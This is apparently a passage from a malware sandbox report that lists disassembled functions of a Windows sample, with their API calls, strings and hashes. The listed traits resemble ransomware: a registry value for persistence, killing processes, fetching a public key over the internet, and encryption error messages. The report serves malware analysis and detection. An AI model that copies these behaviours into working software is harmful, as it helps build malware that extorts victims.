Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

, xrefs: 00457482
+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 491e64a43db57974c805febdf09b12bb5f9e435b923affe35b2a08799ec4d9db
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
func(%lu), xrefs: 00450734

Memory Dump Source

